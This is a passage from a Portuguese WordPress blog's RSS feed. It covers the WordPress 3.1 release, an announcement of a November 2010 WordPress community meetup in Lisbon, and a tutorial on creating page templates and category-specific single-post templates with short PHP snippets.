<li><strong>Advanced Queries</strong> &#8211; allows developers to query multiple taxonomies and custom fields.</li>
<li><strong>Refreshed Blue Admin Color Scheme</strong> &#8211; puts the focus more squarely on your content.</li>
</ul>
<p>Faz já o <a href="http://pt.wordpress.org/releases/#latest">download</a> ou actualiza directamente a partir do painel. Não deixes as tuas instalações desactualizadas</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/wordpress-3-1-lancado-em-portugues-e-o-que-ha-de-novo/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Encontro WordPress Portugal. Toda a informação</title>
		<link>http://www.maistrafego.pt/econtro-wordpress-portugal-toda-a-informacao</link>
		<comments>http://www.maistrafego.pt/econtro-wordpress-portugal-toda-a-informacao#comments</comments>
		<pubDate>Fri, 26 Nov 2010 16:16:52 +0000</pubDate>
		<dc:creator>Nuno</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[Destaques]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[encontro]]></category>
		<category><![CDATA[meeting]]></category>
		<category><![CDATA[portugal]]></category>
		<category><![CDATA[wordcamp]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=2752</guid>
		<description><![CDATA[Já o divulga-mos na nossa comunidade, mas como nunca é demais divulgar esta iniciativa. Aqui fica. Vai acontecer amanhã em Lisboa, na LX Factory. Mais concretamente no Cowork Lisboa o primeiro encontro oficial da comunidade WordPress em Portugal. Já tive a oportunidade de estar presente num outro encontro, onde também esteve presente a equipa da [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpressportugal.png"><img class="alignnone size-full wp-image-2757" title="wordpressportugal" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpressportugal.png" alt="" width="590" height="250" /></a></p>
<p>Já o <a href="http://forum.maistrafego.pt/index.php?topic=24559.0" target="_blank">divulga-mos</a> na nossa comunidade, mas como nunca é demais divulgar esta iniciativa. Aqui fica.</p>
<p>Vai acontecer amanhã em Lisboa, na LX Factory. Mais concretamente no <a href="http://www.coworklisboa.pt/" target="_blank">Cowork Lisboa</a> o primeiro encontro oficial da <a href="http://wp-portugal.com/2010/11/23/encontro-wordpress-portugal/" target="_blank">comunidade WordPress em Portugal</a>. Já tive a oportunidade de estar presente <a href="http://wp-portugal.com/2010/08/03/automattic-em-portugal-um-convite/" target="_blank">num outro encontro</a>, onde também esteve presente a equipa da <a href="http://automattic.com/" target="_blank">Automattic</a>, juntamente com alguns entusiastas portugueses do wordpress. Devo confessar que foi um encontro muito interessante, completamente informal e com ambiente muito agradável, como tal, em principio também darei um salto num encontro de amanhã.</p>
<p>Para além de ser uma oportunidade única para os entusiastas do <a href="http://pt.wordpress.org" target="_blank">WordPress em Portugal</a> se juntarem, sai sempre muita coisa interessante destes encontros, e as coisas ao vivo, funcionam muito mais depressa. Quem sabe não se combinam mais meetings deste género, ou mesmo um Wordcamp Portugal. Era bom, digam lá que não&#8230;</p>
<p>Vão também existir algumas talks, para já as confirmadas são muito interessantes. Mas qualquer pessoa pode submeter a sua e vir partilhar as suas ideias. O projector estará lá para isso mesmo. Por isso, se tens algo para partilhar esta é a oportunidade certa.</p>
<h2>Novidades do WordPress 3.1</h2>
<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpressbleeding.png"><img class="alignnone size-full wp-image-2753" title="wordpressbleeding" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpressbleeding.png" alt="" width="589" height="191" /></a></p>
<p>Será feita mais uma apresentação, sobre as novidades do WordPress 3.1, <a href="http://core.trac.wordpress.org/milestone/3.1">agendado para 15 de Dezembro</a>. Vamos apresentar, de forma prática, as principais mudanças em relação à versão actual, nomeadamente:</p>
<ul>
<li>Barra de administração</li>
<li>Administração de rede</li>
<li>Pesquisa de <em>templates</em></li>
<li>Criação de <em>links</em> internos</li>
<li>Paginação e ordenação de listas</li>
<li><em>Ajax everywhere</em></li>
<li>Formatos de <em>posts</em></li>
<li>Novo QuickPress</li>
<li><em>Queries</em> avançadas de taxonomias</li>
</ul>
<h2>Apresentação do Tarpipe</h2>
<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/tarpipe.png"><img class="alignnone size-full wp-image-2754" title="tarpipe" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/tarpipe.png" alt="" width="590" height="250" /></a></p>
<p>O <a href="http://twitter.com/bpedro">Bruno Pedro</a> irá a apresentar o <a href="http://tarpipe.com/">tarpipe</a>:</p>
<blockquote><p>“<strong>tarpipe</strong> facilita a partilha conteúdos através de diferentes aplicações de  social media. Automatiza a publicação através de fluxos editoriais que  podem ser accionados por e-mail, mensagens instantâneas ou aplicações de  terceiros. Compartilhe conteúdo facilmente em serviços de social media,  incluindo Evernote, FriendFeed, Flickr e Twitter. Mantenha um registo  de toda a sua actividad e obtenha uma interpretação contextual de todas  as suas acções de publicação.”</p></blockquote>
<h2>João Pedro Pereira (do Público), WordPress e sites noticiosos</h2>
<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/publico.png"><img class="alignnone size-full wp-image-2755" title="publico" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/publico.png" alt="" width="590" height="250" /></a></p>
<p><a title="Blog de João Pedro Pereira" href="http://www.jppereira.com/">João Pedro Pereira</a>,  jornalista de tecnologia no Público e aficionado do WordPress, falará  sobre a utilização do WordPress no contexto de uma redacção.</p>
<p>Nas suas palavras, eis o que vai ser abordado:</p>
<blockquote><p>O  WordPress tem sido usado por diversos órgãos de informação  profissionais. Em muitos casos, simplesmente para a gestão de blogues  dos jornalistas. Noutros, como gestor de conteúdos para todo o site (há  muitos exemplos disto em Portugal). Há uma profusão de temas que  prometem ser capazes de transformar um blog num site de notícias  completo (e a maioria promete fazê-lo em escassos minutos). Porém —  desiludam-se os mais entusiastas — o WordPress ainda não é uma  ferramenta que satisfaça todas as necessidades de uma redacção. Mas está  perto. Em menos de 15 minutos, as queixas de um jornalista e um esboço  de solução.</p></blockquote>
<p>E para já está apresentado o encontro. Para quem não conhece pode <a href="http://www.coworklisboa.pt/pages/contactos" target="_blank">ver aqui</a> onde fica. E qualquer questão adicional basta perguntar.</p>
<ul>
<li>A data é já este Sábado, dia 27 de Novembro</li>
<li>O local é o <a href="http://www.coworklisboa.pt/">Cowork Lisboa</a>, na na LX Factory, mais concretamente na zona da cafetaria <a href="http://www.coworklisboa.pt/pages/cafetaria">Quarto com Vista</a>. É em Alcantâra e <a href="http://www.coworklisboa.pt/pages/contactos">o mapa está aqui</a>.</li>
<li>Começa a seguir ao almoço, às 15:00</li>
<li>É grátis e não precisa inscrever-se. Basta aparecer.</li>
<li>Existe um projector disponível para quem quiser fazer alguma apresentação. Quantas mais, melhor. Basta <a href="http://wp-portugal.com/contacto/">dar uma apitadela</a>.</li>
<li>Agradecemos a divulgação! (a hashtag para o Twitter é <strong><a href="http://search.twitter.com/search?q=%23ewppt">#ewppt</a></strong>)</li>
</ul>
<p>Até já.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/econtro-wordpress-portugal-toda-a-informacao/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Page Template ou Modelo em WordPress</title>
		<link>http://www.maistrafego.pt/page-template-ou-modelo-em-wordpress</link>
		<comments>http://www.maistrafego.pt/page-template-ou-modelo-em-wordpress#comments</comments>
		<pubDate>Fri, 26 Nov 2010 12:23:11 +0000</pubDate>
		<dc:creator>bfms</dc:creator>
				<category><![CDATA[Categorias]]></category>
		<category><![CDATA[Destaques]]></category>
		<category><![CDATA[escola]]></category>
		<category><![CDATA[themes]]></category>
		<category><![CDATA[webdesign]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[page]]></category>
		<category><![CDATA[templates]]></category>

		<guid isPermaLink="false">http://www.maistrafego.pt/?p=2675</guid>
		<description><![CDATA[Antes de escrever um artigo sobre o que alguns leitores comentaram no artigo anterior, decidi esclarecer também uma questão importante relacionada com os &#8220;Page Template&#8221;. Muitas são as pessoas que depois de seguir as instruções de como criar uma Page Template não consegue activá-la. Ora há muitos artigos na Internet a explicar como dar a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpressgirl.png"><img class="alignnone size-full wp-image-2749" title="wordpressgirl" src="http://www.maistrafego.pt/wp-content/uploads/2010/11/wordpressgirl.png" alt="" width="590" height="250" /></a></p>
<p>Antes de escrever um artigo sobre o que alguns leitores comentaram no artigo anterior, decidi esclarecer também uma questão importante relacionada com os &#8220;Page Template&#8221;.</p>
<p>Muitas são as pessoas que depois de seguir as instruções de como criar uma Page Template não consegue activá-la. Ora há muitos artigos na Internet a explicar como dar a volta a esta questão. Muitas das vezes é o código &lt;?php wp_head ?&gt; que está em falta no header.php do template.</p>
<p>Mas mesmo assim quando está tudo aparentemente correcto, os Page Templates tendem a não funcionar e ou não é mostrada essa opção na edição de uma post ou página.</p>
<p>Existe uma outra forma de dar a volta à questão.</p>
<h2>Como criar uma Page Template</h2>
<p>Existem duas formas de o fazer. Uma delas é a habitual colocação do código abaixo no início de um ficheiro .php. Vou exemplificar.<br />
Pretendo criar um page template para a página Contactos, que em relação ao page.php do meu template irá ser full width (supondo que o actual page.php é composto pelo content e sidebar).</p>
<p>Crio o ficheiro contactos.php e adiciono logo no início do mesmo o seguinte código</p>
<pre class="brush: php">
&lt;?php /* Template Name: Contactos */ ?&gt;
</pre>
<p>Após colocar este código no ficheiro e de o enviar para a pasta do tema, supostamente na opcção Custom Template irá aparecer a opção Contactos. Se assim acontecer, perfeito, temos a nossa page template criada.</p>
<h3>Coloco o código de criação de uma Page Template, tenho o template com todas as tags que o WordPress assim exige, mas não tenho opção de mudar o template da página</h3>
<p>Neste caso não desanimem, há uma outra solução que na minha opinião até é mais simples que a primeira. Em vez de criar um ficheiro contactos.php, colocar-lhe o código php acima referido apenas terei de fazer o seguinte.</p>
<p>Criar um ficheiro <strong>page-ID.php</strong><br />
Onde o ID é referente à página em questão e no caso deste post seria o ID da página contactos.</p>
<p>Voilá, apenas criando o ficheiro acima a página contactos ficará com a estrutura que lhe derem. Isto tudo sem ter que alterar alguma opção no WordPress. É realmente fantástico como o WordPress reconhece esta arquitectura de ficheiros</p>
<h2>Queria alterar o estilo de outras páginas</h2>
<p>Também é possível alterar o layout de outras páginas através da segunda solução acima apresentada.</p>
<p><strong>category-ID.php</strong> &#8211; este ficheiro após colocação do ID da categoria em questão, irá dar-vos um estilo diferente à forma como são listados os posts nessa categoria.</p>
<p>Lembram-se do <a href="http://www.maistrafego.pt/utilizando-os-custom_fields-no-wordpress" target="_blank">exemplo da página de cinema que dei no artigo anterior</a>? Imaginemos que o meu site é sobre cinema e notícias de Cinema. Neste caso já não pretendo que o single.php tenha a estrutura apresentada no artigo anterior, pois no caso de escrever uma notícia sobre cinema não tenho uma capa, uma sinopse etc.</p>
<h2>Como ter mais do que um estilo para cada artigo</h2>
<p>Certamente com a novidade do WordPress 3.0 o Custom Post Type esta dica deixará de fazer muito sentido, no entanto terei de ler melhor e explorar esta funcionalidade para vos poder esclarecer. Confesso que ainda não trabalhei de perto com esta novidade.</p>
<p>Mas vamos continuar esquecendo os Custom Post Type. Portanto quero ter dois single.php. Um para os filmes outro para as notícias. Para tal teremos então de criar dois ficheiros novos.</p>
<p>filme.php &#8211; será o antigo single.php com a estrutura de apresentação de um filme<br />
noticia.php &#8211; o nosso template para as notícias de cinema</p>
<p>Para que isto funcione e para que o WordPress saiba o que deve mostrar ao leitor, é preciso colocar o seguinte código no single.php</p>
<pre class="brush: php">
&lt;?php
$post = $wp_query-&gt;post;
if ( in_category(&#039;ID1&#039;) ) {include(TEMPLATEPATH . &#039;/noticia.php&#039;);}
else {include(TEMPLATEPATH . &#039;/filme.php&#039;);}
?&gt;
</pre>
<p>Ou seja, se o artigo estiver na categoria 2 (Notícias) é mostrado o single que criamos em noticia.php caso contrário é mostrada a estrutura do single filme.php</p>
<p>Pela lógica do ficheiro o que o WordPress faz quando alguém clica num artigo é esta:<br />
1- Acede ao single.php<br />
2- É-lhe dada a instrução que o artigo está em X categoria, reencaminha o clique para a página correcta.</p>
<p><strong>Agora podem pensar, mas isto não vai tornar o meu blog mais lento?</strong> Não. Este é um processo tão rápido que o visitante nem faz ideia do que está a ser feito por detrás do clique que deu.</p>
<p>Estas dicas acima fazem sentido terem sido dadas após a escrita do primeiro artigo, pois como já repararam estão interligadas. Posso usar custom_fields no layout de uma página diferente enquanto que numa outra não.</p>
<p>É tudo uma questão de testarem e &#8220;brincarem&#8221; aos Page Templates.</p>
<p>Uma vez mais espero que este artigo vos tenha sido útil, certamente vos dará jeito em novas alterações. Sintam-se à vontade para colocar questões, sugestões e ou dúvidas sobre este tema e relacionados com WP nos comentários.</p>
<p>Até ao próximo artigo, fiquem bem</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maistrafego.pt/page-template-ou-modelo-em-wordpress/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

